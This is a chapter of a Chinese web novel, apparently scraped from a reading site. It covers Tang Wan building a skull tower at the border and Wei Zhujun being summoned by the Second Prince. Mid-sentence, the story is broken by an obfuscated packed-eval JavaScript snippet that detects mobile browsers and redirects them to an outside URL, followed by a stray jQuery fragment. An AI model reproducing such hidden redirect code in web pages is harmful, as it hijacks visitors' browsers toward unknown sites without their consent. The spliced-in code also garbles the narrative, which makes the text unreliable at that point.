“你要干什么?”
惠阳今天的风有些大,唐将军转过头来看唐婉的时候只看到女儿被风卷起的头发,看不清她的表情。
“我一直在想,如何才能震慑那些不知天高地厚的外族。靠惠阳王这样的废物镇守?还是靠我们今天的刀刃。”唐婉露出一抹笑来。
“就在刚刚,我突然明白过来。这些东西都不可靠。强大的兵力和锋利的武器,这些其实都是恐惧。比利刃更有用的是恐惧本身。”
唐将军觉得女儿这席话很有意思,他大笑一声,饶有兴趣地点头:“所以你想做什么?”
唐婉朗声大笑,然后朝周围扬了扬手:“这么多望月国的尸体平白埋了实在太浪费了,来啊,儿郎们!随我一起去边界线。我们送周边小国们一座京观,一座巨大的,只要看一眼就心生害怕,就不敢再侵犯大容的京观!”
她转身时,眼睛里跳动着幽深的光。
望月国和大容国的国界处有一块巨大的石碑,一面写着“大容”,一面写着望月,以此来确定两国分界线。
背着手围着国界碑围了一圈,唐婉大手一挥:“给我挖!”
士兵们开始挥锹开挖,不过一会儿功夫,就掘动了石碑。
“往那边挪,狠狠地挪!”
围观的唐将军也不得不感慨女儿的无赖。
就一个劲儿往望月国那边挪,大容的国土就平白无故多出了这么许多。
明明国家侵略这么严肃的事,结果她就这么孩子气地“占便宜”,不讲一点道理。
选了半天,终于选好了京观堆砌的地方,唐婉又指了指望月国的方向说道:“给我在这里堆京观,把他们的脸转到那边。”
那里可不止有望月国,还有无数个小国家,它们一定都在等着看冒犯大容后的望月到底会迎来什么?
在望月国入侵大容的时候,他们一定都在欢庆鼓舞吧?
唐婉看着士兵们将京观堆得越来越高,看着逐渐成型的颅塔,最顶端的头颅是摩难多。
他苍白的脸正对着望月国都方向,空洞的眼眶还残留着血迹。
伸手,六六六将一面军旗放到唐婉手中。
她飞身一跃,将这面旗插在了摩难多的头颅旁,风一吹,那面军旗就迎着风瑟瑟飘扬。
无数人头散发着摄人的血腥味,组成了小山一样高的京观,配上这军旗,说这是地狱恶景也不为过。
密林中、海岛上,在大容的国境之外,一定有着无数部族与小国都在观望。
观望冒犯这座大国会有什么样的反应?若只是不痛不痒的打回去,那下次一定也有人效仿,打来打去,占便宜的必定不会是被动的那一方。
现在,阳光下这座散发着腥臭的尸塔告诉所有不愿安分的人,若有一天他们的脚踏入大容的境内,那么这座京观就会迎来它们新的伙伴。
唐家军没有在惠阳呆太久,仙花公主不舍地拉着唐婉,她此刻已经换上了男装,身边站着的除了她那三个忠仆也有原先惠阳王府的人。
现下一个个低眉顺眼的跟在仙花身后,显然已经被她收服。
“无须担心,若你有事可以飞鸽传书与我。我与你共进退。”安抚地拍着仙花的手,唐婉小声地在她耳边说道。
说不感动是假的,原本以为自己疯狂的想法根本没有人会理解,但是唐婉不仅理解她,还支持她。
不管以后如何,她现在确实踏上了一条注意不会安稳的路,但是她甘之若怡。
“君所言,亦是我心中所想。”不舍地目送唐婉的背影消失在视线中,仙花转过头来,扫视了一眼身后的众人。
“回府,回本王的惠阳王府。”
“本王”两个字说出来的时候,仙花只觉得浑身舒畅。
惠阳王府?希望有朝一日,这府前能挂上仙花王府的牌匾。
唐婉这边刚启程,魏竹君就收到信了,实在不是唐婉归信似箭,而是这家伙缠人的紧,一封封信催魂一样地发来。
感觉每天都在被问什么时候回家,索性一启程唐婉就发了信告诉京都她的大概归期。
盘算着日子,应该也就是今日到了。
魏竹君准备下午和先生告假,去城外迎唐婉。
“可是今日唐姑娘回京?”柳浮生一抬眼看到魏竹君匆忙地收拾着书本,便开口问道。
魏竹君手下的动作顿了顿,还是回答他:“算算时间,应是下午到京。”
就知道是唐婉回来了。柳浮生觉得自己心里又忍不住酸溜溜起来。
看这家伙虽然没有明说,但是浑身散发出来的喜悦却骗不了人。
果然成了亲就是了不起,得了信就屁颠屁颠地去迎。
但是转念一想,若是他,只怕是这会儿已经伸长脖子在城外的送别亭里等着了。
魏竹君刚收好东西,准备走,刚刚才上完课离开的先生又匆匆从外面进来了。
“二皇子派了个管事的太监过来传话,说要请金字班的几位学子一起探讨学问,召他们现在就去觐见。”
魏竹君一听就不想去,但是一想若是让人知道他避而不见,藐视皇权不说,只怕是对将军府也不好。
无奈只能跟着班上的几个学生一起去了二皇子所有的山海阁。
路上他还看到了怪老头坐在桃花树下饮酒逗猫,看着闲暇懒散,一点都不像私下教授他学识时的严厉。
怪老头也瞧见他了,只冲着他笑了笑,就继续饮酒快活不再去看与他同行的其他人。
柳浮生敏锐地发现魏竹君和这个老人应该是认识的。但是这会儿他没有办法细想到底是怎么回事,因为他们已经到了山海阁。
踏进门槛内,室里很安静,空气中弥漫着淡淡的香气。
来往的仆人们也都来往有序,一个引路的小管事面带笑容地迎上来,低声询问了几句后就领着众人往后院去。
他脚上穿着一双厚底的皂鞋,踩在木质的地板上竟然一点声响都没有。
魏竹君虽然进了唐家后也算是见过市面,但是现下再看皇家,到底是权贵们不能比的。
通
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470736|163591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传的侍女很快就来报信,他们都进到了内室。
魏竹君刚一进去,只觉得自己被这满眼的奢华昡得头晕。
目之所及之处全都是富丽堂皇又不失雅致。
地上铺着绣着金丝的厚重地毯,中间月亮门上挂着的纱幔更是有金饰做着点缀,也是这华丽的纱幔将房间分成了里外两间。
外面摆放着书画和珍宝。
魏竹君垂着头眼睛看着墙角那一人高的铜香炉,上面的麒麟纹雕刻精美,有如丝的轻烟从炉里升腾而起。
这个二皇子突然让他们过来是为了什么?探讨学识?还是拉拢青年才俊?
外间除了这些珍宝还站着一排人高马大的锦衣侍卫,一个个冷面肃穆,静声而立。
不管怎么看,这个气氛都不算是友好的。
显然不仅是魏竹君发现这个问题,学子们私下相互使着眼色。
隔着纱幔能看得到里面坐了一个人影,难不成这位二皇子准备效仿深闺小姐,隔着帘子跟他们说话?
正在大家疑惑的时候,听到一道低沉的声音从里头传来。
“都进来吧。”
话音刚落,就有两位美貌的侍女上前轻轻拨开纱幔。
这时里头的人才出现在众人面前,一张方桌后端坐着一位俊俏的少年郎。
他头上戴着顶缀着红宝石的金冠,身上穿着宝蓝色的华服,袖口和衣襟都用金线绣着花纹,一派尊荣华贵。
这位就是二皇子了,魏竹君随着众人一起行礼。
而二皇子扫视了一圈,将目光落在了魏竹君身上。
如鸦羽的乌发被一根白玉的簪子半挽着,光洁饱满的额头,浅淡的朱唇,如玉一样的脸庞,还有那双眸子,朝人看时,那里头好似烟雾气缭绕,惑人得好似春水一般。
二皇子没有回应众人的行礼,反而执起桌上的一杯清茶轻抿了一口。
看着这样的容貌,让他无端烦躁,果然她最喜好颜色。
其他人不知道二皇子想什么,只知道他好似极为冷漠,也不让他们起身。
柳浮生悄悄抬眼扫视了一下,发现二皇子正盯着魏竹君看,就赶紧把头又闷了下去。
二皇子身居上位,又比在座的各位学子都要年长些许,所以即便和气对待他们,几人也能感受到无形的压力。
“今日无事,正巧来太学,便想宴请各位金字班的学子,也好一起畅谈时事,何不美载?”
二皇子笑眯眯地说完一招手,但是魏竹君却只想着若真是留在这里只怕今天就不能再去接唐婉了。
但是他刚想开口拒绝,就感觉旁边的柳浮生拉了他一把,他下意识地闭上了嘴。
朝一旁看去,柳浮生冲着他摇了摇头,示意他噤声。
无奈只得听从二皇子的安排一起去了后面宴客的地方。
“你现在要离场只怕二皇子会不高兴。”趁着入席的功夫,柳浮生凑到魏竹君跟前小声地提醒他。
柳浮生不好明说二皇子这人心胸狭隘,只能这样委婉地提醒魏竹君。